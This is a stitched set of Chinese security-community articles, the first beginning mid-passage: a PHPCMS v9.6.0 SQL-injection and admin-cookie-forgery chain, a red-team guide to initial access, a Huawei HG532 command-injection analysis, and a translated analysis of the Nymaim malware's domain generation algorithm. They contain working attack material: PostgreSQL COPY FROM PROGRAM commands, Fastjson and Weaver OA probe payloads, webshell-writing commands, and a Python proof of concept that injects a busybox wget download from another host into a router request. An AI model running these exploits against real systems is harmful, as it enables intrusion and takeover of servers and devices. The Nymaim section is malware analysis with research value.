**CMS** 存在任意文件包含或任意文件名修改的漏洞，同样还是可以 **getshell**
，这里最好再对远程图片的内容进行校验下比较好。(下图对应文件位置：phpcms/libs/classes/attachment.class.php，左半图为PHPCMSv9.6.0，右半图为PHPCMSv9.6.1)
实际上，单这个补丁中的正则来说，是可以绕过的，例如： **.php%7f**
，Windows下会将非法字符替换成空，但是其实后续还有一系列的问题，导致我没绕过。本以为要挖到0day了，我傻乐了半天：)
## v9.6.0SQL注入
这个版本的 **SQL注入** 主要在于程序对解密后的数据没有进行过滤，我们来看一下漏洞文件
**phpcms/modules/content/down.php** 。在其 **init** 方法中，从 **GET** 数据中获取了 **a_k**
的值，该值若能解密成程序规定格式的字符串，则程序继续运行（这里加解密使用的秘钥必须一致，例如这里秘钥为
**pc_base::load_config('system','auth_key')** ）。程序将解密后的数据用 **parse_str**
函数处理，这里又存在变量覆盖问题。然后将可控变量 **$id** 带入数据库查询，我们跟进 **get_one** 方法。
**get_one** 方法调用了 **sqls** 方法，而在 **sqls** 方法中可以明显看到，未过滤的数据直接拼接进了 **SQL** 语句中。
那么现在，我们要解决的问题是：如何构造出加密数据，使得数据能够被正常解密？我们先来看一下 **sys_auth** 函数的代码，其代码位于
**phpcms/libs/functions/global.func.php** 中。开头我们可以很明显看到，当我们没有指定加解密用的 **key**
时，系统默认使用 **pc_base::load_config('system','auth_key')** 作为 **key**
，这样我们就不用特地去搜索形如
**sys_auth('xxx','ENCODE',pc_base::load_config('system','auth_key'))**
的代码段，直接搜索形如 **sys_auth('可控字符串','ENCODE')** 或 **sys_auth('可控字符串')**
的代码段即可。（这里搜索这种代码段的目的，是为了找到可利用的点将恶意 **payload** 进行加密，然后传输给开头
**phpcms/modules/content/down.php** 文件的 **init** 方法进一步利用）
通过搜索，会发现在 **set_cookie** 方法中使用了 **sys_auth($value, 'ENCODE')** ，我们可以寻找是否存在可控的
**$value** 。
我们可以搜到 **phpcms/modules/wap/index.php** 文件，在该文件中 **$_GET['siteid']** 可控，并且可以通过
**cookie** 获得加密后的数据，但是这里有 **intval** 过滤，所以无法放置我们的 **payload** 。
我们继续寻找，会发现 **phpcms/modules/attachment/attachments.php** 文件的
**swfupload_json** 方法有满足我们需要的代码。程序将可控数据放在了 **cookie** ，其中可控数据中，比较好利用的是
**$_GET['src']** 。
**$_GET['src']** 只是经过了 **safe_replace** 函数的过滤，该函数会将某些字符替换为空，而我们却可以在
**payload** 中插入这些字符，从而绕过黑名单的过滤。 **safe_replace** 函数代码如下：
貌似现在已经找到了利用链了？别高兴的太早。在调用这个 **swfupload_json** 方法之前，程序会执行 **attachments** 类的
**__construct** 方法，而这个方法中有用户登录状态检测。用于登录状态检测的 **$this- >userid** 可以来自
**sys_auth($_POST['userid_flash'],'DECODE')** ，即我们让 **$_POST['userid_flash']**
经过 **sys_auth** 方法解密之后有东西即可。而这个加密数据，就可以利用我们上面说到的
**phpcms/modules/wap/index.php** 文件。通过 **cookie** 获取 **$_GET['siteid']**
加密后的数据，然后再作为 **$_POST['userid_flash']** 的值，即可绕过登录检测。
绕过登录检测后，我们将 **payload** 传给 **phpcms/modules/attachment/attachments.php** 文件
**swfupload_json** 方法中的 **$_GET['src']** ，再利用开头 **parse_str**
函数进行变量覆盖，最终完成整个漏洞链。整个漏洞的利用流程图如下：
按照默认配置安装的网站搭建好后， **WAP** 是处于禁用状态，但是这并不影响我们获得加密后的 **$_GET['siteid']** 。
我们再来假设，如果网站管理员删除了 **WAP**
模块的代码，这个洞还能利用吗？我们可以继续来挖掘一下这个漏洞链的其他入口，这也是网络上未公开的一个入口点。上面我们在搜索 **set_cookie**
方法找可控数据时，会发现 **phpcms/modules/mood/index.php** 文件的 **post**
方法可以直接获得一个加密后的数据，这样我们就可以将这个数据，用在漏洞链的第二步：绕过用户登录验证，具体代码如下：
这里只要按照代码逻辑，构造参数即可。这里可能还要注意本类的 **__construct** 方法，同样按照逻辑构造参数即可，具体构造这里不再赘述。
通过上面这个漏洞链入口，我们便可以进行 **报错SQL注入** 。比较有意思的是， **PHPCMS** 会将 **admin** 登录的
**cookie** 存储在数据库中，我们可以通过注入获取管理员 **cookie** ，然后伪造管理员身份利用后台 **getshell**
。这里如何伪造身份，网络上貌似提及很少，唯一找到一篇文章<https://www.secpulse.com/archives/57486.html>
，发现作者竟然还少提及了一个关键参数。于是我将伪造的数据包，与正常登录的数据包进行对比，逐个删除 **cookie**
中的数据，看看少了哪个关键参数。接下来，我们来具体看一下如何伪造 **cookie** 进入后台。
**PHPCMS** 专门在数据库中建了一个表来存放 **PHPSESSID** ，其中也包含管理员的 **PHPSESSID** ，且登录状态下的
**userid** 字段会被设为1，注销则为0，具体如下：
我们把 **PHPSESSID=9t9mrk25ak5sb9v60nc255ql11** 加到 **cookie**
中，直接访问后台，这是发现程序还是会让你登录，估计我们是少了什么，下面来动态调试一下。经过调试，我们会发现程序终止在了 **admin** 类
**__construct** 方法的 **self::check_admin()** 语句中，其具体代码如下：
可以明显看到，我们原先的 **cookie** 中少了 **$userid** 对应的字段，而且要想绕过登录，必须保证
**$_SESSION['roleid']** 和 **$userid** 相等且它们两者非空。那么现在，我们只要加上 **$userid**
对应字段就行了，其值可以从上面漏洞链第一步中的响应包 **Set-Cookie** 字段获取。这里要注意一个点，一旦管理员注销，我们就无法利用这个点伪造
**cookie** 了，这也是这个漏洞的鸡肋之处。
最后来看一下官方发布的 **PHPCMS v9.6.1** 中是如何修复这个漏洞的，补丁如下：
可以看到官方对解密后的数据进行了 **safe_replace、intval** 双重过滤处理。 | 社区文章 |
## 前言
本篇文章是攻防演练中攻击方是如何打开缺口的方法的总结。
**(可能思路狭隘，有缺有错，师傅们多带带)**
> **Author: 0ne**
本篇文章数据来源于18+省市级别实战攻防演练，90+单位失陷报告。
`思路朴素不包含钓鱼和叼炸天的0day`。
突破入口点方法统计图：
攻防演练中得分项只关注两点， **`权限`** & **`数据`**
：权限类型分为系统权限和应用权限，权限高低又分为管理员权限和普通用户权限。数据一般是要四件套，姓名，手机号，身份证，住址。通常敏感数据这样定义，不过看当前的应用可能敏感信息的定义又会不同，比如医院系统，病例信息就算是敏感数据。
根据上述统计结果由高到低选取部分得分方法进行说明。
## 弱口令[web应用]
> 弱口令是永远修复不了的漏洞，每场攻防演练都会有弱口令撕开的口子(出现次数 **`29`** )
这里讨论的是一些web应用的弱口令，不包括统计结果的PostgreSQL/Redis/转发/Jenkins/Adminer的弱口令。
说起弱口令那就不得不提爆破的技巧了。爆破前应想办法绕过验证码，部分验证码存在不刷新或是有验证的逻辑错误可绕过的情况。通常在忘记密码处可能会存在用户名枚举漏洞。对于用户名字典，根据当前的系统可猜测为姓名简称或是工号ID。也可翻阅当前登录框的JS正则或是Google信息搜索进行合理猜测。在有大量用户基数的情况下，通常固定弱口令遍历用户名效果最佳。在多次通过SQL注入获取登录后台密码md5解密后的情况来看，管理员以域名简称或是系统简称+@年份出现，或是相关的简称的密码概率不小。如：某消防系统/bjtuxfk[xxxx消防科]，某妇联后台/gzfl@2020。
好用的字典
https://github.com/fuzz-security/SuperWordlist
https://github.com/gh0stkey/Web-Fuzzing-Box
## 弱口令[其他]
数据库弱口令只遇见了PostgreSQL/Redis，其它未遇见可能那些常见使用的数据库经常使用，剩下的可能连运维都不知道这开着的。
> **PostgreSQL（从版本9.3至11.2）任意命令执行漏洞（CVE-2019-9193）**
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
> **Redis**
连上先info查看Server信息[redis版本和OS信息]：
**Redis 4.x/5.x RCE**
https://github.com/Dliv3/redis-rogue-server
https://github.com/0671/RedisModules-ExecuteCommand-for-Windows
**Linux**
写计划任务，写公钥，写webshell[知道web路径]
**Windows**
写启动项，写webshell[知道web路径]
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
https://github.com/r35tart/RedisWriteFile
windows说实话没遇到过，权限够了，先写启动项，再想办法给它干重启[`YY的没打过QAQ`]
这两篇windows&redis蛮细的：
https://xz.aliyun.com/t/8153
https://xz.aliyun.com/t/7940
> **转发弱口令**
如果是Web转发的话，用户基数大，可以固定弱口令按照学号工号ID爆破。案例中的转发弱口令是一个客户端，需要下载，密码不像是试出来的，更像是从Google/Git信息泄露，或是知道该员工的手机号扔进裤子里，根据里面的信息拼凑出来的[个人猜测]。
> **Jenkins弱口令**
后台脚本命令行可执行命令，LOLBAS下载执行没啥说的。
> **Adminer弱口令**
mysql写webshell也没啥说的。
## shiro反序列化
> shiro永远的神！没有shiro我都不知道怎么日站了(出现次数 **`28`** )
这两年来shiro反序列化可谓是攻防演练中的漏洞利用之首，无论是公司自研的资产收集平台还是git上优秀的项目ShuiZe等等都带着shiro指纹的识别。专找目标的shiro也很简单，目标发散到域名发散到子域名发散到IP到全端口，将这些URL导入shiro识别工具。再跑key，再利用。统计的28个shiro中有27个通过OneforAll或是FoFa等方式收集，其中有一个shiro在微信公众号中找到的。
好用的tools：
https://github.com/pmiaowu/BurpShiroPassiveScan
https://github.com/wyzxxz/shiro_rce_tool
https://github.com/j1anFen/shiro_attack
## 任意文件上传[通用]
> 朴实无华(出现次数 **`10`** )
一般情况下拿shell最快的方法就是找上传，我们应该快速验证上传是否是基于后端的白名单校验。如果是后端的白名单校验，在没有解析漏洞或是其它漏洞的组合下，我们应该放弃该接口。需要注意的是我们在上传文件判断黑白名单时，上传的文件内容最好是无害的，否则可能会WAF干扰。我们一定要清楚该次上传失败是因为程序本身的限制还是WAF的阻拦。切忌对upload接口fuzz，雷声大雨点小。
值得一提的是在统计的10次上传中，有一次在微信小程序，有一个swagger信息泄露upload接口，有一次在某银行的在线聊天系统，点击人工时，会出现传图片的按钮。
客服系统：
还有一个案例：
进入后台通过Kindeditor文件上传，又通过XXXX进行文件管理，有重命名功能，改为.php。getshell。
文件上传绕WAF的本质就是服务器与WAF对数据包解析的差异性，下面提供几个畸形数据包：
## Fastjson反序列化
> 也好用(出现次数 **`6`** )
判断是否为fastjson：报错抛出异常或是DNSlog
{"rand1":{"@type":"java.net.InetAddress","val":"gbi7ge.dnslog.cn"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}
遇见WAF：
hex编码或是\b：
详见：
https://www.sec-in.com/article/950
https://xz.aliyun.com/t/7568
好用的tools：
https://github.com/pmiaowu/BurpFastJsonScan
https://github.com/wyzxxz/fastjson_rce_tool
https://github.com/feihong-cs/JNDIExploit
## 敏感信息泄露
> 苍蝇再小也是肉(出现次数 **`5`** )
医院啊，这个比较多遇见的案例都是微信公众号或是小程序，遍历病例数据：
还遇见了swagger信息泄露构造接口查询：
## UEditor1.4.3任意文件上传
> 出其不意(出现次数 **`5`** )
当遇见.NET的网站时，右键查看图片URL为~/ueditor~/upload/image/[20200101]这种年月格式/25位数字.png，就可以判断该站点使用了UEditor[直接目录扫描工具扫也行]，就需要我们拼接出路径`~/net/controller.ashx`：
~前面可能不太固定需要自己在JS里找信息，或是合理猜测。
提一嘴，之前遇见个站点`.png?.aspx`，站点返回了404，可以直接`.png.aspx`，同时UEditor有过滤?的特性，在有WAF的时候可酌情使用。
## MSSQL堆叠注入
> 基操
\--os-shell后，得到一个命令行，一般是certutil下载执行或是powershell直接上线。也可写入webshell：
找静态资源定位物理路径
for /r C:\ %i in (*xxx*) do @echo %i
dir /s/a-d/b C:\*xxx.xxx
echo ^<一句话^> >C:\phpstudy_pro\WWW\shell.txt
<>注意使用^转义
## OA系统
> 没啥说的，有0day砸0day
泛*OA，致*OA，通*OA，用*NC
github搜搜搜，内部自己有积累未批露利用点最好。
泛*OA的两个案例用的`WorkflowServiceXml反序列化`比较丝滑。
判断是否可利用：
POST /services%20/WorkflowServiceXml HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 523
Content-Type: text/xml;charest=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string>
<map>
<entry>
<url>http://m5alw5.dnslog.cn</url>
<string>http://m5alw5.dnslog.cn</string>
</entry>
</map>
</web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>
## 杂七杂八
> 胡言乱语
SQL注入获取敏感数据感觉没啥提的，记得sqlmap加上参数random-agent。
S2在外网见的少了。
历史遗留后门404.jsp成了入口点也是离谱。
各种debug信息泄露云key导入行云管家证明权限就OK。
已经语无伦次了......
## 闲言闲语
> 柿子捡软的捏
web打点本就是个效率活，打得就是软柿子，不要给你一个站点测了半天到最后才发现：咦这里有个上传/shiro/fastjson....这就耽误功夫了，要带着目的性，尽量减少试错的过程，少做无用功。 | 社区文章 |
## 漏洞描述
华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。
该漏洞被用来作为病毒 Mirai 的升级版变种
OKIRU/SATORI，payload由蜜罐所捕获而被发现的，首次披露是由[checkpoint](https://research.checkpoint.com/good-zero-day-skiddie/)所披露，漏洞利用的是upnp服务存在的注入漏洞实现任意命令执行。
## 漏洞poc
漏洞poc如下：
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 172.16.16.17 -l /tmp/1 -r /1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://172.16.16.21:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
## 漏洞分析
下载固件，公开存在[下载地址](https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar)
使用binwalk解压该固件。
查看文件类型，可以看到文件类型是mips 32位的，且格式为大端MSB。
根据公开的信息可知，漏洞处于upnp服务中，可直接将bin/upnp拖到IDA里面分析，也可以根据poc中的特征字符串`ctrlt`以及`DeviceUpgrade_1`寻找，看该字符串处于哪个可执行程序当中。
定位漏洞到upnp文件中，将该文件拖到IDA里面进行分析。
根据poc，注入点是`<NewStatusURL>`以及`<NewDownloadURL>`，在字符串中找到它们：
并查看其交叉引用：
看到调用函数是在函数`sub_40749c`当中，跟过去该函数，可以看到，程序通过`ATP_XML_GetChildNodeByName`函数获取xml中的`<NewStatusURL>`节点，并且未经过检查就直接与`upg
-g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -`拼接使用`system`函数进行执行。
看到这里就可以看清楚漏洞的原理了，具体来说是首先在`<NewStatusURL>`输入单引号将前面的字符串闭合，然后再注入相应的执行命令即可，如需要执行`ls`命令，则需要做的就是构造`<NewStatusURL>';ls;</NewStatusURL>`节点即可。该节点字符串与`upg
-g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -`拼接得到`upg -g -U %s -t
'1 Firmware Upgrade Image' -c upnp -r ';ls; -d -`，然后执行system调用，实现注入。
## 漏洞复现
根据[文章](https://xz.aliyun.com/t/4130#toc-5)安装qemu系统级的模拟环境，并使用命令`sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda
debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net
nic -net tap -nographic`开启qemu虚拟机。
然后使用ssh将固件拷贝至该qemu虚拟机中，使用`chroot . sh`切换到该固件的根目录下，得到下面的图示：
找下端口`37215` ，端口号只出现在mic文件内，所以猜测是mic启动的upnp服务，直接运行`mic`命令。
`netstat -l` 查看哪些端口处于监听模式，可以看到端口`37215`已经处于监听模式。
将poc中ip设置正确，运行exp，并开启服务器端口监听，可以看到运行结果如下：
运行exp，被攻击者来获取文件1：
在被攻击中查看文件1，成功：
相关代码和文件在[github](https://github.com/ray-cp/Vuln_Analysis/tree/master/CVE-2017-17125-HG532-Huawei-Command-Injection)
## 参考及链接
1. [Huawei Home Routers in Botnet Recruitment](https://research.checkpoint.com/good-zero-day-skiddie/)
2. [CVE-2017-17215路由器漏洞分析](http://ronpa.top/2018/11/29/CVE-2017-17215%E8%B7%AF%E7%94%B1%E5%99%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
3. [对华为HG532远程命令执行漏洞的新探索](https://xlab.tencent.com/cn/tag/cve-2017-17215/)
4. [CVE-2017-17215 - 华为HG532命令注入漏洞分析](https://www.cnblogs.com/hac425/p/9416936.html)
5. [通过CVE-2017-17215学习路由器漏洞分析，从入坑到放弃](https://www.freebuf.com/vuls/160040.html)
6. [Huawei HG532 系列路由器远程命令执行漏洞分析](https://paper.seebug.org/490/) | 社区文章 |
# 从恶意软件Nymaim看DGA
|
##### 译文声明
本文是翻译文章，文章原作者 johannesbader，文章来源：johannesbader.ch
原文地址：<https://www.johannesbader.ch/2018/04/the-new-domain-generation-algorithm-of-nymaim/>
译文仅供参考，具体内容表达以及含义原文为准。
Nymaim恶意软件首次发现是在2013年。它主要是被用作其他恶意软件的下载器，如勒索软件，后来它也开始为了实现点击欺诈而进行搜索操控。
也许是因为这个恶意软件使用了一种有效而有趣的混淆，关于Nymaim和它得DGA的文章已经有了很多。这种混淆催生了很多有创造性的帮助分析恶意软件的工具，例如
[GovCERT.CH](https://www.govcert.admin.ch/blog/29/taking-a-look-at-nymaim)
或者[CERT Polska](https://github.com/CERT-Polska/nymaim-tools)。
除了混淆之外，Nymaim的有趣之处还在于它试图通过在A记录种添加校验和与在使用之前转换IP地址保护自己，具体介绍可以看CERT Polska的
[“Nymaim revisited”](https://www.cert.pl/en/news/single/nymaim-revisited/)，Talos 的 [“Threat Spotlight:
GozNym”](https://blog.talosintelligence.com/2016/09/goznym.html)和Alberto
Ortega的 [“Nymaim Origins, Revival and Reversing Tales”
](https://www.botconf.eu/wp-content/uploads/2016/11/PR18-Nymaim-ORTEGA.pdf)。
本月，Nymaim的新版本对上述特性进行了一些修改：
* 除了加壳之外，混淆被全部的抛弃。相反，恶意软件甚至使用有用的日志消息和带有描述性名称的配置。
* IP转换略有变化，使用了不同的常量，但其他方面都坚持与之前的过程相同。
* DGA已经被完全重写。它现在是基于单词列表的，比如Matsnu的DGA, Suppobox，或者Nymaim的近亲Gozi。
* 除了使用DGA，Nymaim还有一个硬编码域名列表，它们遵循与DGA域名相同的模式，但是在依赖于时间的DGA域名之前进行尝试。
这篇博客文章关注的是Nymaim的DGA和IP转换方面。例如，下面是2018年4月27日的前10个域名：
virginia-hood.top
shelter-downloadable.ps
tylerpreparation.sg
zolofteffectiveness.ch
stakeholders-looked.hn
williampassword.sc
thailandcool.re
thoughtsjazz.ec
recovery-hairy.ac
workshopsforms.hn
我分析了来自Virustotal的样本:
MD5 | 30bce8f7ac249057809d3ff1894097e7
---|---
SHA-256 | 73f06bed13e22c2ab8b41bde5fc32b6d91680e87d0f57b3563c629ee3c479e73
SHA-1 | b629c20b4ef0fd31c8d36292a48aa3a8fbfdf09c
文件大小 | 484 KB
编译时间戳 | 2010-06-13 18:50:03 ( _可能是假的_ )
首次上传至 Virustotal的时间 | 2018-04-17 21:49:18
Virustotal 链接 |
[link](https://www.virustotal.com/#/file/73f06bed13e22c2ab8b41bde5fc32b6d91680e87d0f57b3563c629ee3c479e73)
我将其解压缩得以下可执行文件。所有截图都来自加载地址0x400000的这个示例：
MD5 | 379ba8e55498cb7a71ec4dcd371968af
---|---
SHA-256 | 3eb9bbe3ed251ec3fd1ff9dbcbe4dd1a2190294a84ee359d5e87804317bac895
SHA-1 | 5f522dda6b003b151ff60b83fe326400b9ed7716
文件大小 | 368 KB
编译时间戳 | 2018-03-02 23:12:20
首次上传至 Virustotal的时间 | 2018-04-26 12:19:41 ( _我上传的_ )
Virustotal 链接 |
[link](https://www.virustotal.com/#/file/3eb9bbe3ed251ec3fd1ff9dbcbe4dd1a2190294a84ee359d5e87804317bac895/detection)
## 分析
本节描述DGA的详细信息。如果你只对Python的实现感兴趣，请参阅DGA部分。
### 种子
Nymaim的新DGA的种子由三部分组成：
1. 硬编码的32位大写的16进制字符串，推测为MD5散列值（在分析的样本中是`3138C81ED54AD5F8E905555A6623C9C9`）。Nymaim将它称为`生成密钥`。
2. 一年中从零开始的一天。例如，1月1日是第0天。这个值比ISO定义的值小1,ISO定义1月1日为一年中的第1天。从这个值减去一个计数器中的值，计数器从0开始，一直到一个天数增量`DayDelta`（在样本中是10）。这意味着如果有必要，DGA将重新访问过去10天的域名（除了在年关的时候，详情见下面的滑动窗口）。
3. 当年的最后两位数字。
这三个值组合成一个字符串。然后对这个字符串进行md5散列，其结果表示为小写的十六进制字符串。请注意，这与`生成密钥`相反，`生成密钥`都是大写的。得到的字符串是随后的伪随机数生成器的种子和基础。
### 伪随机数生成器
伪随机数生成器(PRNG)使用MD5哈希字符串的前8个字符，并将其作为32位整数(即随机数)的大端十六进制表示。然后丢弃MD5散列的前7个字符，其余的字符再次用MD5散列并表示为小写的十六进制字符串。该字符串的前8个字符表示下一个伪随机值。关于整个过程和伪随机数生成器，请参阅下图:
### DGA算法
DGA使用四个随机值从四个列表中选择字符串:
1. 选择第一个单词列表中的一个单词。
2. 选择一个分隔符。
3. 选择第二个单词列表中的一个单词。
4. 选择顶级域
然后将四个字符串连接起来形成域名。单词的选择是用随机值除以列表长度的余数作为索引从列表中选择:
CString *__thiscall dga(_DWORD *config, CString *szDomainName)
{
dgaconfig *cfg; // esi@1
int v3; // eax@2
unsigned int nNumberOfFirstWords; // ecx@3
randnrs objRandNrs; // [esp+Ch] [ebp-2Ch]@1
int dgb2; // [esp+20h] [ebp-18h]@1
int nr_random_values; // [esp+24h] [ebp-14h]@1
char cstrDomainName; // [esp+28h] [ebp-10h]@3
int dbg; // [esp+34h] [ebp-4h]@1
dgb2 = 0;
cfg = config;
init_random_nrs(&objRandNrs);
objRandNrs.self = &GetRuntimeClass;
nr_random_values = 4;
dbg = 1;
do
{
v3 = rand_0(&cfg->random_hash);
store_rand(objRandNrs.field_8, v3);
--nr_random_values;
}
while ( nr_random_values );
CString::CString(&cstrDomainName);
nNumberOfFirstWords = cfg->nNumberOfFirstWords;
LOBYTE(dbg) = 2;
CString::operator+=(&cstrDomainName, cfg->rgFirstWords + 4 * (*objRandNrs.r % nNumberOfFirstWords));
CString::operator+=(&cstrDomainName, cfg->rgSeparators + 4 * (*(objRandNrs.r + 4) % cfg->nNumberOfSeparators));
CString::operator+=(&cstrDomainName, cfg->rgSecondWords + 4 * (*(objRandNrs.r + 8) % cfg->nNumberOfSecondWords));
CString::operator+=(&cstrDomainName, cfg->rgTLDs + 4 * (*(objRandNrs.r + 12) % cfg->nNumberOfTLDs));
CString::CString(szDomainName, &cstrDomainName);
dgb2 = 1;
LOBYTE(dbg) = 1;
CString::~CString(&cstrDomainName);
LOBYTE(dbg) = 0;
cleanup_0(&objRandNrs);
return szDomainName;
}
第一个单词列表包含2450个以字母R到Z开头的单词。最短的有4个字母，最长的有18个( _telecommunications_ ):
"reaches",
"reaching",
"reaction",
"reactions",
"read",
"reader",
"readers",
"readily",
"reading",
"readings",
"reads",
"ready",
"real",
"realistic",
...
"zoom",
"zoophilia",
"zope",
"zshops"
只有两个分隔符:零长度字符串和连字符`-`。第二个单词列表包含以字母C到R开头的4387个单词。最后一个单词是`reached`，而第一个单词列表恰恰是以`reaches`开始。
最后，这里包含了74个顶级域，其中顶级域`.com`出现了4次，`.net`出现了3次，这增加了`.com`和`.net`被选中的概率。
顶级域列表如下：
`.com`, `.com`, `.com`, `.net`, `.net`, `.net`, `.ac`, `.ad`, `.at`, `.am`,
`.az`, `.be`, `.biz`, `.bt`, `.by`, `.cc`, `.ch`, `.cm`, `.cn`, `.co`, `.com`,
`.cx`, `.cz`, `.de`, `.dk`, `.ec`, `.eu`, `.gs`, `.hn`, `.ht`, `.id`, `.in`,
`.info`, `.it`, `.jp`, `.ki`, `.kr`, `.kz`, `.la`, `.li`, `.lk`, `.lv`, `.me`,
`.mo`, `.mv`, `.mx`, `.name`, `.net`, `.nu`, `.org`, `.ph`, `.pk`, `.pl`,
`.pro`, `.ps`, `.re`, `.ru`, `.sc`, `.sg`, `.sh`, `.su`, `.tel`, `.tf`, `.tj`,
`.tk`, `.tm`, `.top`, `.uz`, `.vn`, `.win`, `.ws`, `.wtf`, `.xyz`, `.yt`。
### 滑动窗口
DGA每天生成一定数量（`MaxDomainsForTry`）的域名，对于分析的样本，域名数量（`MaxDomainsForTry`）为64。生成64个域名之后，伪随机数生成器通过从一年的某一天减去1获得前一天的种子重新计算随机数。这样算来，最多生成64*(10+1)=
704个域名:
在年关的时候，当日期比天数增量（`DayDelta`）小，那么天数的偏移量会变成负数。例如，在一月三号的滑动窗口的值为2，1，0，-1，…
，-8。负数将会产生新的一组域名。
### 硬编码域名
Nymaim有一个包含46个硬编码域名的列表，它们遵循DGA模式，两个单词之间用一个可选的连字符分隔。这些域名都使用`.com`顶级域。在获得任何DGA域名之前，总是先对硬编码域名进行测试。对于分析的样本中，硬编码域名如下：
sustainabilityminolta.com
theories-prev.com
starringmarco.com
seekerpostcards.com
threadsmath.com
recall-pioneer.com
waste-neighborhood.com
usage-maternity.com
standings-descriptions.com
volumedatabase.com
summaries-heading.com
stoppedmeaningful.com
singles-october.com
scottish-fact.com
weblogcourage.com
troycyber.com
reply-phantom.com
wagon-crime.com
sharp-louisiana.com
suitedminerals.com
saskatchewan-funds.com
sites-experts.com
techrepublicexemption.com
serbia-harbor.com
super-ideas.com
translationdoor.com
wildhelmet.com
shoefalse.com
remainedoxide.com
wild-motels.com
staticlesbian.com
valentinequeensland.com
travelling-mechanics.com
solelypersonal.com
resulting-museum.com
towndayton.com
workedforest.com
yorkshire-engineer.com
stockholm-effect.com
reynoldshydrogen.com
sluts-persistent.com
satisfaction-granted.com
slut-hentai.com
territoriesprayers.com
thumbnailsfragrance.com
undergraduategraphical.com
### 名称服务器测试
Nymaim的一个显著特性是使用DNS查询名称服务器记录(NS)。Nymaim检查任何一个响应中是否包含它称为`BlackNsWords`的列表中的单词。这写单词通常与沉洞(Sinkhole)相关：
sinkhole
amazonaws
honeybot
honey
parking
domaincontrol
dynadot
如果Nymaim在NS资源记录中找到这些单词中的任何一个，它就不会使用这个域名。
### 首选DNS服务器
Nymaim使用一个称为`PreferredDnsServers`的DNS服务器列表，可能是因为这些服务器不太可能更改或阻塞DNS请求。
IP | Company
---|---
8.8.8.8 | Google
8.8.4.4 | Google
156.154.70.1 | Neustar Security
156.154.71.1 | Neustar Security
208.67.222.222 | OpenDNS
208.67.220.220 | OpenDNS
### IP转换
与Nymaim的早期版本一样，A资源记录并不是C2服务器的ip地址。真实的地址需要通过一系列可逆的异或和减法步骤对ip进行变换才能得到。Talos
威胁情报在2017年9月写了一份描述该算法的详细报告。
下图视图片段显示了IP的转换:
在这篇博客文章的末尾可以找到用于在两个方向上执行IP转换的Python脚本。
### 校验和测试
Nymaim仍然使用A资源记录的校验和测试。例如，下面是一个在编写本文时正在运行C2服务器域名的ip:
> dig @8.8.8.8 +short -t A sustainabilityminolta.com
127.33.12.14
127.33.12.15
192.202.176.55
126.56.117.50
下表列出了这四个IP(第一列)和转换后的真实IP(第二列)。第三列是整数表示:
IP | IP’ | value
---|---|---
127.33.12.14 | 127.0.0.0 | 0x0000007F
127.33.12.15 | 127.0.0.1 | 0x0100007F
192.202.176.55 | 192.42.116.41 | 0x29742AC0
**126.56.117.50** | **190.43.116.42** | **0x2A742BBE**
Nymaim将检查所有整数值，看看它们是否是其余值的和。在上面的例子中，加粗的IP`190.43.116.42`是A记录`126.56.117.50`的转换结果。用小端整数可以表示为`0x2A742BBE`。这对应于将剩余ip的整数表示形式相加得到的校验和，也就是`0x2A742BBE
= 0x0000007F + 0x0100007F + 0x29742AC0`。
匹配了校验和的IP将从列表中删除，它只作为其他IP的校验和。然后Nymaim将一个接一个地测试转换后的ip:
1. DNS对`sustainabilityminolta.com`的NS资源发出请求，以检查是否为沉洞(Sinkhole)。响应`dns100.ovh.net`不包含`BlackNsWords`中任何单词, Nymaim继续查询A记录。
2. 对A记录的DNS请求返回四个转换后的ip。因为第四个IP是其余三个IP的校验和，所以Nymaim继续按顺序联系IP。
3. 第一个非本地IP地址`192.42.116.41`使用HTTP POST请求联系：`http://192.42.116.41/index.php`
### 请求
实际的C2服务器请求是HTTP
post。内容使用会话密钥进行AES加密，会话密钥受非对称加密保护。第一个C2请求大约是900字节。URL文件名硬编码为`index.php`:
http://192.42.116.41/index.php
### DGA特征
property | value
---|---
类型 | TDD (时间依赖的确定性)
生成模式 | j基于伪随机数生成器的MD5
种子 | 生成密钥和当前日期
域名改变频率 | 每天，具有一个11天的滑动窗口
每天的域名数 | 46 个硬编码域名+64个新生成域名 + 640 之前生成的域名
序列 | 有序的
域名之间的等待时间 | 无
顶级域 | 69 个不同的顶级域, 更偏好于`.com` 和 `.net`
二级域特征 | 两个单词表中的单词和一个连接符
二级域长度ength | 8 (e.g., _realrays.kr_ ) – 34 (e.g., _telecommunications-pharmaceuticals.name_ )
